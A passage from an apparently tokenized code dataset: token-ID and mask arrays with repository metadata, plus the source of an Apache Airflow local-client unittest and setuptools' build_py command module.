1478, 12, 1336, 63, 1267, 9, 267, 587, 26, 881, 4450, 14, 3176, 8, 16, 12, 27070, 14, 4486, 8, 1080, 12, 1478, 12, 1336, 63, 1267, 430, 339, 340, 822, 8, 6742, 9, 665, 499, 26, 489, 372, 4450, 339, 327, 2104, 1006, 6342, 402, 9814, 2251, 12, 16602, 282, 8088, 1204, 2246, 92, 9814, 340, 314, 1284, 272, 327, 402, 314, 1642, 1336, 365, 314, 2011, 465, 314, 9608, 402, 314, 3499, 1336, 14, 272, 367, 1478, 315, 4945, 8, 552, 8, 6742, 9, 446, 499, 304, 489, 1642, 275, 4450, 59, 1080, 61, 489, 3499, 275, 4450, 59, 1080, 435, 413, 61, 489, 1830, 715, 26, 267, 340, 334, 2246, 14, 65, 435, 1642, 14, 890, 665, 822, 8, 277, 14, 65, 9, 436, 288, 1642, 14, 66, 435, 1642, 14, 890, 665, 822, 8, 277, 14, 66, 9, 436, 288, 3499, 14, 65, 665, 822, 8, 277, 14, 65, 9, 436, 3499, 14, 66, 665, 822, 8, 277, 14, 66, 9, 436, 288, 291, 14, 65, 59, 2246, 14, 65, 435, 1642, 14, 890, 61, 508, 291, 14, 66, 59, 2246, 14, 66, 435, 1642, 14, 890, 61, 436, 288, 291, 14, 65, 59, 4375, 14, 65, 61, 508, 291, 14, 66, 59, 4375, 14, 66, 4682, 881, 1642, 275, 27070, 14, 4486, 8, 2246, 14, 65, 12, 1642, 14, 66, 12, 1642, 14, 890, 435, 413, 9, 881, 3499, 275, 27070, 14, 4486, 8, 4375, 14, 65, 435, 413, 12, 3499, 14, 66, 435, 413, 12, 3499, 14, 890, 446, 413, 9, 267, 587, 26, 881, 2059, 489, 4450, 59, 1080, 61, 275, 1642, 489, 4450, 59, 1080, 435, 413, 61, 275, 3499, 339, 372, 4450, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
wolfier/incubator-airflow
tests/api/client/test_local_client.py
5
5659
# -*- coding: utf-8 -*- # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import json import unittest from freezegun import freeze_time from mock import patch from airflow import AirflowException from airflow.api.client.local_client import Client from airflow import models from airflow import settings from airflow.utils import timezone from airflow.utils.state import State EXECDATE = timezone.utcnow() EXECDATE_NOFRACTIONS = EXECDATE.replace(microsecond=0) EXECDATE_ISO = EXECDATE_NOFRACTIONS.isoformat() class TestLocalClient(unittest.TestCase): @classmethod def setUpClass(cls): super(TestLocalClient, cls).setUpClass() session = settings.Session() session.query(models.Pool).delete() session.commit() session.close() def setUp(self): super(TestLocalClient, self).setUp() self.client = Client(api_base_url=None, auth=None) self.session = settings.Session() def tearDown(self): self.session.query(models.Pool).delete() self.session.commit() self.session.close() super(TestLocalClient, self).tearDown() @patch.object(models.DAG, 'create_dagrun') def test_trigger_dag(self, mock): client = self.client # non existent with self.assertRaises(AirflowException): client.trigger_dag(dag_id="blablabla") with freeze_time(EXECDATE): # no execution date, execution date should be set automatically client.trigger_dag(dag_id="test_start_date_scheduling") mock.assert_called_once_with(run_id="manual__{0}".format(EXECDATE_ISO), execution_date=EXECDATE_NOFRACTIONS, state=State.RUNNING, conf=None, external_trigger=True) mock.reset_mock() # execution date with microseconds cutoff client.trigger_dag(dag_id="test_start_date_scheduling", execution_date=EXECDATE) mock.assert_called_once_with(run_id="manual__{0}".format(EXECDATE_ISO), execution_date=EXECDATE_NOFRACTIONS, state=State.RUNNING, conf=None, external_trigger=True) mock.reset_mock() # run id run_id = "my_run_id" client.trigger_dag(dag_id="test_start_date_scheduling", run_id=run_id) mock.assert_called_once_with(run_id=run_id, execution_date=EXECDATE_NOFRACTIONS, state=State.RUNNING, conf=None, external_trigger=True) mock.reset_mock() # test conf conf = '{"name": "John"}' client.trigger_dag(dag_id="test_start_date_scheduling", conf=conf) mock.assert_called_once_with(run_id="manual__{0}".format(EXECDATE_ISO), execution_date=EXECDATE_NOFRACTIONS, state=State.RUNNING, conf=json.loads(conf), external_trigger=True) mock.reset_mock() def test_delete_dag(self): key = "my_dag_id" session = settings.Session() DM = models.DagModel self.assertEqual(session.query(DM).filter(DM.dag_id == key).count(), 0) session.add(DM(dag_id=key)) session.commit() self.assertEqual(session.query(DM).filter(DM.dag_id == key).count(), 1) self.client.delete_dag(dag_id=key) self.assertEqual(session.query(DM).filter(DM.dag_id == key).count(), 0) def test_get_pool(self): self.client.create_pool(name='foo', slots=1, description='') pool = self.client.get_pool(name='foo') self.assertEqual(pool, ('foo', 1, '')) def test_get_pools(self): self.client.create_pool(name='foo1', slots=1, description='') self.client.create_pool(name='foo2', slots=2, description='') pools = sorted(self.client.get_pools(), key=lambda p: p[0]) self.assertEqual(pools, [('foo1', 1, ''), ('foo2', 2, '')]) def test_create_pool(self): pool = self.client.create_pool(name='foo', slots=1, description='') self.assertEqual(pool, ('foo', 1, '')) self.assertEqual(self.session.query(models.Pool).count(), 1) def test_delete_pool(self): self.client.create_pool(name='foo', slots=1, description='') self.assertEqual(self.session.query(models.Pool).count(), 1) self.client.delete_pool(name='foo') self.assertEqual(self.session.query(models.Pool).count(), 0)
apache-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 221, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 221, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 221, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 221, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 199, 646, 2022, 199, 646, 2882, 199, 199, 504, 22778, 17924, 492, 22778, 63, 521, 199, 504, 1683, 492, 3371, 199, 199, 504, 16321, 492, 31040, 1726, 199, 504, 16321, 14, 1246, 14, 1258, 14, 1832, 63, 1258, 492, 6810, 199, 504, 16321, 492, 1709, 199, 504, 16321, 492, 2202, 199, 504, 16321, 14, 1208, 492, 7137, 199, 504, 16321, 14, 1208, 14, 929, 492, 8511, 199, 199, 10276, 5390, 275, 7137, 14, 10779, 342, 199, 10276, 5390, 63, 2826, 38, 2847, 19560, 275, 3651, 4220, 5390, 14, 1814, 8, 16627, 29, 16, 9, 199, 10276, 5390, 63, 7336, 275, 3651, 4220, 5390, 63, 2826, 38, 2847, 19560, 14, 17070, 342, 421, 199, 533, 1379, 5339, 3041, 8, 2796, 14, 1746, 304, 339, 768, 3744, 272, 347, 18561, 8, 1886, 304, 267, 1613, 8, 774, 5339, 3041, 12, 843, 680, 27777, 342, 267, 2351, 275, 2202, 14, 4434, 342, 267, 2351, 14, 1131, 8, 992, 14, 5453, 680, 1807, 342, 267, 2351, 14, 3543, 342, 267, 2351, 14, 1600, 342, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 774, 5339, 3041, 12, 291, 680, 5996, 342, 267, 291, 14, 1258, 275, 6810, 8, 1246, 63, 1095, 63, 633, 29, 403, 12, 1790, 29, 403, 9, 267, 291, 14, 1730, 275, 2202, 14, 4434, 342, 339, 347, 6766, 8, 277, 304, 267, 291, 14, 1730, 14, 1131, 8, 992, 14, 5453, 680, 1807, 342, 267, 291, 14, 1730, 14, 3543, 342, 267, 291, 14, 1730, 14, 1600, 342, 267, 1613, 8, 774, 5339, 3041, 12, 291, 680, 12336, 342, 339, 768, 2068, 14, 785, 8, 992, 14, 28211, 12, 283, 981, 63, 7406, 1065, 358, 272, 347, 511, 63, 7631, 63, 7406, 8, 277, 12, 1683, 304, 267, 1890, 275, 291, 14, 1258, 398, 327, 2222, 444, 13298, 267, 543, 291, 14, 1855, 8, 28948, 1659, 1726, 304, 288, 1890, 14, 7631, 63, 7406, 8, 7406, 63, 344, 628, 3345, 371, 5561, 416, 531, 398, 543, 22778, 63, 521, 8, 10276, 5390, 304, 288, 327, 949, 6451, 1434, 12, 6451, 1434, 1077, 506, 663, 5847, 288, 1890, 14, 7631, 63, 7406, 8, 7406, 63, 344, 628, 396, 63, 928, 63, 602, 63, 10487, 15633, 531, 288, 1683, 14, 479, 63, 3527, 63, 5089, 63, 1045, 8, 1065, 63, 344, 628, 9285, 363, 91, 16, 5469, 908, 8, 10276, 5390, 63, 7336, 395, 1460, 6451, 63, 602, 29, 10276, 5390, 63, 2826, 38, 2847, 19560, 12, 1460, 1174, 29, 2223, 14, 17305, 12, 1460, 3743, 29, 403, 12, 1460, 5957, 63, 7631, 29, 549, 9, 288, 1683, 14, 3958, 63, 1805, 342, 953, 327, 6451, 1434, 543, 21574, 17875, 288, 1890, 14, 7631, 63, 7406, 8, 7406, 63, 344, 628, 396, 63, 928, 63, 602, 63, 10487, 15633, 401, 6451, 63, 602, 29, 10276, 5390, 9, 288, 1683, 14, 479, 63, 3527, 63, 5089, 63, 1045, 8, 1065, 63, 344, 628, 9285, 363, 91, 16, 5469, 908, 8, 10276, 5390, 63, 7336, 395, 1460, 6451, 63, 602, 29, 10276, 5390, 63, 2826, 38, 2847, 19560, 12, 1460, 1174, 29, 2223, 14, 17305, 12, 1460, 3743, 29, 403, 12, 1460, 5957, 63, 7631, 29, 549, 9, 288, 1683, 14, 3958, 63, 1805, 342, 953, 327, 1255, 1305, 288, 1255, 63, 344, 275, 298, 1662, 63, 1065, 63, 344, 2, 288, 1890, 14, 7631, 63, 7406, 8, 7406, 63, 344, 628, 396, 63, 928, 63, 602, 63, 10487, 15633, 401, 1255, 63, 344, 29, 1065, 63, 344, 9, 288, 1683, 14, 479, 63, 3527, 63, 5089, 63, 1045, 8, 1065, 63, 344, 29, 1065, 63, 344, 12, 1460, 6451, 63, 602, 29, 10276, 5390, 63, 2826, 38, 2847, 19560, 12, 1460, 1174, 29, 2223, 14, 17305, 12, 1460, 3743, 29, 403, 12, 1460, 5957, 63, 7631, 29, 549, 9, 288, 1683, 14, 3958, 63, 1805, 342, 953, 327, 511, 3743, 288, 3743, 275, 17137, 354, 582, 298, 12923, 3570, 7, 288, 1890, 14, 7631, 63, 7406, 8, 7406, 63, 344, 628, 396, 63, 928, 63, 602, 63, 10487, 15633, 401, 3743, 29, 2190, 9, 288, 1683, 14, 479, 63, 3527, 63, 5089, 63, 1045, 8, 1065, 63, 344, 628, 9285, 363, 91, 16, 5469, 908, 8, 10276, 5390, 63, 7336, 395, 1460, 6451, 63, 602, 29, 10276, 5390, 63, 2826, 38, 2847, 19560, 12, 1460, 1174, 29, 2223, 14, 17305, 12, 1460, 3743, 29, 1001, 14, 3640, 8, 2190, 395, 1460, 5957, 63, 7631, 29, 549, 9, 288, 1683, 14, 3958, 63, 1805, 342, 339, 347, 511, 63, 1807, 63, 7406, 8, 277, 304, 267, 790, 275, 298, 1662, 63, 7406, 63, 344, 2, 267, 2351, 275, 2202, 14, 4434, 342, 267, 577, 45, 275, 1709, 14, 27234, 1685, 267, 291, 14, 629, 8, 1730, 14, 1131, 8, 17751, 680, 1541, 8, 17751, 14, 7406, 63, 344, 508, 790, 680, 835, 1062, 378, 9, 398, 2351, 14, 525, 8, 17751, 8, 7406, 63, 344, 29, 498, 430, 267, 2351, 14, 3543, 342, 267, 291, 14, 629, 8, 1730, 14, 1131, 8, 17751, 680 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 221, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 221, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 221, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 221, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 199, 646, 2022, 199, 646, 2882, 199, 199, 504, 22778, 17924, 492, 22778, 63, 521, 199, 504, 1683, 492, 3371, 199, 199, 504, 16321, 492, 31040, 1726, 199, 504, 16321, 14, 1246, 14, 1258, 14, 1832, 63, 1258, 492, 6810, 199, 504, 16321, 492, 1709, 199, 504, 16321, 492, 2202, 199, 504, 16321, 14, 1208, 492, 7137, 199, 504, 16321, 14, 1208, 14, 929, 492, 8511, 199, 199, 10276, 5390, 275, 7137, 14, 10779, 342, 199, 10276, 5390, 63, 2826, 38, 2847, 19560, 275, 3651, 4220, 5390, 14, 1814, 8, 16627, 29, 16, 9, 199, 10276, 5390, 63, 7336, 275, 3651, 4220, 5390, 63, 2826, 38, 2847, 19560, 14, 17070, 342, 421, 199, 533, 1379, 5339, 3041, 8, 2796, 14, 1746, 304, 339, 768, 3744, 272, 347, 18561, 8, 1886, 304, 267, 1613, 8, 774, 5339, 3041, 12, 843, 680, 27777, 342, 267, 2351, 275, 2202, 14, 4434, 342, 267, 2351, 14, 1131, 8, 992, 14, 5453, 680, 1807, 342, 267, 2351, 14, 3543, 342, 267, 2351, 14, 1600, 342, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 774, 5339, 3041, 12, 291, 680, 5996, 342, 267, 291, 14, 1258, 275, 6810, 8, 1246, 63, 1095, 63, 633, 29, 403, 12, 1790, 29, 403, 9, 267, 291, 14, 1730, 275, 2202, 14, 4434, 342, 339, 347, 6766, 8, 277, 304, 267, 291, 14, 1730, 14, 1131, 8, 992, 14, 5453, 680, 1807, 342, 267, 291, 14, 1730, 14, 3543, 342, 267, 291, 14, 1730, 14, 1600, 342, 267, 1613, 8, 774, 5339, 3041, 12, 291, 680, 12336, 342, 339, 768, 2068, 14, 785, 8, 992, 14, 28211, 12, 283, 981, 63, 7406, 1065, 358, 272, 347, 511, 63, 7631, 63, 7406, 8, 277, 12, 1683, 304, 267, 1890, 275, 291, 14, 1258, 398, 327, 2222, 444, 13298, 267, 543, 291, 14, 1855, 8, 28948, 1659, 1726, 304, 288, 1890, 14, 7631, 63, 7406, 8, 7406, 63, 344, 628, 3345, 371, 5561, 416, 531, 398, 543, 22778, 63, 521, 8, 10276, 5390, 304, 288, 327, 949, 6451, 1434, 12, 6451, 1434, 1077, 506, 663, 5847, 288, 1890, 14, 7631, 63, 7406, 8, 7406, 63, 344, 628, 396, 63, 928, 63, 602, 63, 10487, 15633, 531, 288, 1683, 14, 479, 63, 3527, 63, 5089, 63, 1045, 8, 1065, 63, 344, 628, 9285, 363, 91, 16, 5469, 908, 8, 10276, 5390, 63, 7336, 395, 1460, 6451, 63, 602, 29, 10276, 5390, 63, 2826, 38, 2847, 19560, 12, 1460, 1174, 29, 2223, 14, 17305, 12, 1460, 3743, 29, 403, 12, 1460, 5957, 63, 7631, 29, 549, 9, 288, 1683, 14, 3958, 63, 1805, 342, 953, 327, 6451, 1434, 543, 21574, 17875, 288, 1890, 14, 7631, 63, 7406, 8, 7406, 63, 344, 628, 396, 63, 928, 63, 602, 63, 10487, 15633, 401, 6451, 63, 602, 29, 10276, 5390, 9, 288, 1683, 14, 479, 63, 3527, 63, 5089, 63, 1045, 8, 1065, 63, 344, 628, 9285, 363, 91, 16, 5469, 908, 8, 10276, 5390, 63, 7336, 395, 1460, 6451, 63, 602, 29, 10276, 5390, 63, 2826, 38, 2847, 19560, 12, 1460, 1174, 29, 2223, 14, 17305, 12, 1460, 3743, 29, 403, 12, 1460, 5957, 63, 7631, 29, 549, 9, 288, 1683, 14, 3958, 63, 1805, 342, 953, 327, 1255, 1305, 288, 1255, 63, 344, 275, 298, 1662, 63, 1065, 63, 344, 2, 288, 1890, 14, 7631, 63, 7406, 8, 7406, 63, 344, 628, 396, 63, 928, 63, 602, 63, 10487, 15633, 401, 1255, 63, 344, 29, 1065, 63, 344, 9, 288, 1683, 14, 479, 63, 3527, 63, 5089, 63, 1045, 8, 1065, 63, 344, 29, 1065, 63, 344, 12, 1460, 6451, 63, 602, 29, 10276, 5390, 63, 2826, 38, 2847, 19560, 12, 1460, 1174, 29, 2223, 14, 17305, 12, 1460, 3743, 29, 403, 12, 1460, 5957, 63, 7631, 29, 549, 9, 288, 1683, 14, 3958, 63, 1805, 342, 953, 327, 511, 3743, 288, 3743, 275, 17137, 354, 582, 298, 12923, 3570, 7, 288, 1890, 14, 7631, 63, 7406, 8, 7406, 63, 344, 628, 396, 63, 928, 63, 602, 63, 10487, 15633, 401, 3743, 29, 2190, 9, 288, 1683, 14, 479, 63, 3527, 63, 5089, 63, 1045, 8, 1065, 63, 344, 628, 9285, 363, 91, 16, 5469, 908, 8, 10276, 5390, 63, 7336, 395, 1460, 6451, 63, 602, 29, 10276, 5390, 63, 2826, 38, 2847, 19560, 12, 1460, 1174, 29, 2223, 14, 17305, 12, 1460, 3743, 29, 1001, 14, 3640, 8, 2190, 395, 1460, 5957, 63, 7631, 29, 549, 9, 288, 1683, 14, 3958, 63, 1805, 342, 339, 347, 511, 63, 1807, 63, 7406, 8, 277, 304, 267, 790, 275, 298, 1662, 63, 7406, 63, 344, 2, 267, 2351, 275, 2202, 14, 4434, 342, 267, 577, 45, 275, 1709, 14, 27234, 1685, 267, 291, 14, 629, 8, 1730, 14, 1131, 8, 17751, 680, 1541, 8, 17751, 14, 7406, 63, 344, 508, 790, 680, 835, 1062, 378, 9, 398, 2351, 14, 525, 8, 17751, 8, 7406, 63, 344, 29, 498, 430, 267, 2351, 14, 3543, 342, 267, 291, 14, 629, 8, 1730, 14, 1131, 8, 17751, 680, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
sunqb/oa_qian
flask/Lib/site-packages/setuptools/command/build_py.py
19
9595
from glob import glob from distutils.util import convert_path import distutils.command.build_py as orig import os import fnmatch import textwrap import io import distutils.errors import itertools from setuptools.extern import six from setuptools.extern.six.moves import map, filter, filterfalse try: from setuptools.lib2to3_ex import Mixin2to3 except ImportError: class Mixin2to3: def run_2to3(self, files, doctests=True): "do nothing" class build_py(orig.build_py, Mixin2to3): """Enhanced 'build_py' command that includes data files with packages The data files are specified via a 'package_data' argument to 'setup()'. See 'setuptools.dist.Distribution' for more details. Also, this version of the 'build_py' command allows you to specify both 'py_modules' and 'packages' in the same setup operation. """ def finalize_options(self): orig.build_py.finalize_options(self) self.package_data = self.distribution.package_data self.exclude_package_data = (self.distribution.exclude_package_data or {}) if 'data_files' in self.__dict__: del self.__dict__['data_files'] self.__updated_files = [] self.__doctests_2to3 = [] def run(self): """Build modules, packages, and copy data files to build directory""" if not self.py_modules and not self.packages: return if self.py_modules: self.build_modules() if self.packages: self.build_packages() self.build_package_data() self.run_2to3(self.__updated_files, False) self.run_2to3(self.__updated_files, True) self.run_2to3(self.__doctests_2to3, True) # Only compile actual .py files, using our base class' idea of what our # output files are. self.byte_compile(orig.build_py.get_outputs(self, include_bytecode=0)) def __getattr__(self, attr): "lazily compute data files" if attr == 'data_files': self.data_files = self._get_data_files() return self.data_files return orig.build_py.__getattr__(self, attr) def build_module(self, module, module_file, package): if six.PY2 and isinstance(package, six.string_types): # avoid errors on Python 2 when unicode is passed (#190) package = package.split('.') outfile, copied = orig.build_py.build_module(self, module, module_file, package) if copied: self.__updated_files.append(outfile) return outfile, copied def _get_data_files(self): """Generate list of '(package,src_dir,build_dir,filenames)' tuples""" self.analyze_manifest() return list(map(self._get_pkg_data_files, self.packages or ())) def _get_pkg_data_files(self, package): # Locate package source directory src_dir = self.get_package_dir(package) # Compute package build directory build_dir = os.path.join(*([self.build_lib] + package.split('.'))) # Strip directory from globbed filenames filenames = [ os.path.relpath(file, src_dir) for file in self.find_data_files(package, src_dir) ] return package, src_dir, build_dir, filenames def find_data_files(self, package, src_dir): """Return filenames for package's data files in 'src_dir'""" patterns = self._get_platform_patterns( self.package_data, package, src_dir, ) globs_expanded = map(glob, patterns) # flatten the expanded globs into an iterable of matches globs_matches = itertools.chain.from_iterable(globs_expanded) glob_files = filter(os.path.isfile, globs_matches) files = itertools.chain( self.manifest_files.get(package, []), glob_files, ) return self.exclude_data_files(package, src_dir, files) def build_package_data(self): """Copy data files into build directory""" for package, src_dir, build_dir, filenames in self.data_files: for filename in filenames: target = os.path.join(build_dir, filename) self.mkpath(os.path.dirname(target)) srcfile = os.path.join(src_dir, filename) outf, copied = self.copy_file(srcfile, target) srcfile = os.path.abspath(srcfile) if (copied and srcfile in self.distribution.convert_2to3_doctests): self.__doctests_2to3.append(outf) def analyze_manifest(self): self.manifest_files = mf = {} if not self.distribution.include_package_data: return src_dirs = {} for package in self.packages or (): # Locate package source directory src_dirs[assert_relative(self.get_package_dir(package))] = package self.run_command('egg_info') ei_cmd = self.get_finalized_command('egg_info') for path in ei_cmd.filelist.files: d, f = os.path.split(assert_relative(path)) prev = None oldf = f while d and d != prev and d not in src_dirs: prev = d d, df = os.path.split(d) f = os.path.join(df, f) if d in src_dirs: if path.endswith('.py') and f == oldf: continue # it's a module, not data mf.setdefault(src_dirs[d], []).append(path) def get_data_files(self): pass # Lazily compute data files in _get_data_files() function. def check_package(self, package, package_dir): """Check namespace packages' __init__ for declare_namespace""" try: return self.packages_checked[package] except KeyError: pass init_py = orig.build_py.check_package(self, package, package_dir) self.packages_checked[package] = init_py if not init_py or not self.distribution.namespace_packages: return init_py for pkg in self.distribution.namespace_packages: if pkg == package or pkg.startswith(package + '.'): break else: return init_py with io.open(init_py, 'rb') as f: contents = f.read() if b'declare_namespace' not in contents: raise distutils.errors.DistutilsError( "Namespace package problem: %s is a namespace package, but " "its\n__init__.py does not call declare_namespace()! Please " 'fix it.\n(See the setuptools manual under ' '"Namespace Packages" for details.)\n"' % (package,) ) return init_py def initialize_options(self): self.packages_checked = {} orig.build_py.initialize_options(self) def get_package_dir(self, package): res = orig.build_py.get_package_dir(self, package) if self.distribution.src_root is not None: return os.path.join(self.distribution.src_root, res) return res def exclude_data_files(self, package, src_dir, files): """Filter filenames for package's data files in 'src_dir'""" files = list(files) patterns = self._get_platform_patterns( self.exclude_package_data, package, src_dir, ) match_groups = ( fnmatch.filter(files, pattern) for pattern in patterns ) # flatten the groups of matches into an iterable of matches matches = itertools.chain.from_iterable(match_groups) bad = set(matches) keepers = ( fn for fn in files if fn not in bad ) # ditch dupes return list(_unique_everseen(keepers)) @staticmethod def _get_platform_patterns(spec, package, src_dir): """ yield platfrom-specific path patterns (suitable for glob or fn_match) from a glob-based spec (such as self.package_data or self.exclude_package_data) matching package in src_dir. """ raw_patterns = itertools.chain( spec.get('', []), spec.get(package, []), ) return ( # Each pattern has to be converted to a platform-specific path os.path.join(src_dir, convert_path(pattern)) for pattern in raw_patterns ) # from Python docs def _unique_everseen(iterable, key=None): "List unique elements, preserving order. Remember all elements ever seen." # unique_everseen('AAAABBBCCDAABBB') --> A B C D # unique_everseen('ABBCcAD', str.lower) --> A B C D seen = set() seen_add = seen.add if key is None: for element in filterfalse(seen.__contains__, iterable): seen_add(element) yield element else: for element in iterable: k = key(element) if k not in seen: seen_add(k) yield element def assert_relative(path): if not os.path.isabs(path): return path from distutils.errors import DistutilsSetupError msg = textwrap.dedent(""" Error: setup script specifies an absolute path: %s setup() arguments must *always* be /-separated paths relative to the setup.py directory, *never* absolute paths. """).lstrip() % path raise DistutilsSetupError(msg)
apache-2.0
